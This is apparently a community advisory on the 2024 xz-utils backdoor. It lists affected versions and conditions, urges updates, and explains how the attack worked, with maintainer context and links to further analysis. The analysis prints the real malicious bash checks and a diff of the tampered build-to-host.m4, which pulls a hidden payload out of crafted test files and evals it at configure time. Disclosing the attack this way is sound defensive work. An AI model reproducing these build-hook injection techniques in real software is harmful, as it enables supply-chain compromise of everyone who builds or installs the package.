On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.
This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.
We're reasonably sure the following things need to be true for your system to be vulnerable:
- You need to be running a distro that uses glibc (for IFUNC)
- You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.
We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.
While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.
If you're running a publicly accessible sshd, then you are - as a rule
of thumb for those not wanting to read the rest here - likely vulnerable.
If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.
TL:DR:
- Using a
.debor.rpmbased distro with glibc and xz-5.6.0 or xz-5.6.1:- Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
- Otherwise: update RIGHT NOW NOW but prioritize the former
- Using another type of distribution:
- With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.
If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.
This is still a new situation. There is a lot we don't know. We don't know if there are more possible exploit paths. We only know about this one path. Please update your systems regardless. Unknown unknowns are safer than known unknowns.
This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't know much about what's going on.
This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.
This backdoor has several components. At a high level:
- The release tarballs upstream publishes don't have the same code
that GitHub has. This is common in C projects so that downstream
consumers don't need to remember how to run autotools and autoconf.
The version of
build-to-host.m4in the release tarballs differs wildly from the upstream on GitHub. - There are crafted test files in the
tests/folder within the git repository too. These files are in the following commits:tests/files/bad-3-corrupt_lzma2.xz(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)tests/files/good-large_compressed.lzma(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)
- A script called by
build-to-host.m4that unpacks this malicious test data and uses it to modify the build process. - IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.
Normally upstream publishes release tarballs that are different than
the automatically generated ones in GitHub. In these modified
tarballs, a malicious version of build-to-host.m4 is included to
execute a script during the build process.
This script (at least in versions 5.6.0 and 5.6.1) checks for various
conditions like the architecture of the machine. Here is a snippet of
the malicious script that gets unpacked by build-to-host.m4 and an
explanation of what it does:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
- If amd64/x86_64 is the target of the build
- And if the target uses the name
linux-gnu(mostly checks for the use of glibc)
It also checks for the toolchain being used:
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then exit 0 fi if test "x$CC" != 'xgcc' > /dev/null 2>&1;then exit 0 fi LDv=$LD" -v" if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then exit 0
And if you are trying to build a Debian or Red Hat package:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
[$1]_c_make='\"$([$1])\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnlIf those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:
- The payload activates if the running program has the process
name
/usr/sbin/sshd. Systems that putsshdin/usr/binor another folder may or may not be vulnerable. - It may activate in other scenarios too, possibly even unrelated to ssh.
- We don't know what the payload is intended to do. We are investigating.
- Vanilla upstream OpenSSH isn't affected unless one of its
dependencies links
liblzma. - The payload is loaded into
sshdindirectly.sshdis often patched to support systemd-notify so that other services can start when sshd is running.liblzmais loaded because it's depended on by other parts oflibsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375. - If this payload is loaded in openssh
sshd, theRSA_public_decryptfunction will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.
We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.
xz-utils has two maintainers:
- Lasse Collin (Larhzu) who has maintained xz since the beginning
(~2009), and before that,
lzma-utils. - Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago.
Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.
Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.
This is the part which is very much in flux, even compared to the rest of this. It's early days yet.
- xz/liblzma: Bash-stage Obfuscation Explained by gynvael
- Filippo Valsorda's bluesky thread
- XZ Backdoor Analysis by @smx-smx (WIP)
- xz backdoor documentation wiki
- modify_ssh_rsa_pubkey.py by @keeganryan - script to trigger more parts of the payload in a compromised
sshd
There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.
-
libarchive is being checked out:
- libarchive/libarchive#2103 coordinates the review effort
- libarchive/libarchive#1609 was made by Jia Tan
- After review, libarchive/libarchive#2101 was made by libarchive maintainers.
- It doesn't appear exploitable but the change in libarchive/libarchive#2101 was made out of caution.
-
google/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils
- It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.
- Note that IFUNC is a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.
- Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
- All the hard-working security teams helping to coordinate a response and push out fixes.
- Xe Iaso who resummarized this page for readability.
@TheRsKing based on current knowledge, that's correct. The vulnerability would be triggered by a specific payload with a given public key being sent to an exposed sshd, it doesn't "phone home" to a C2 server.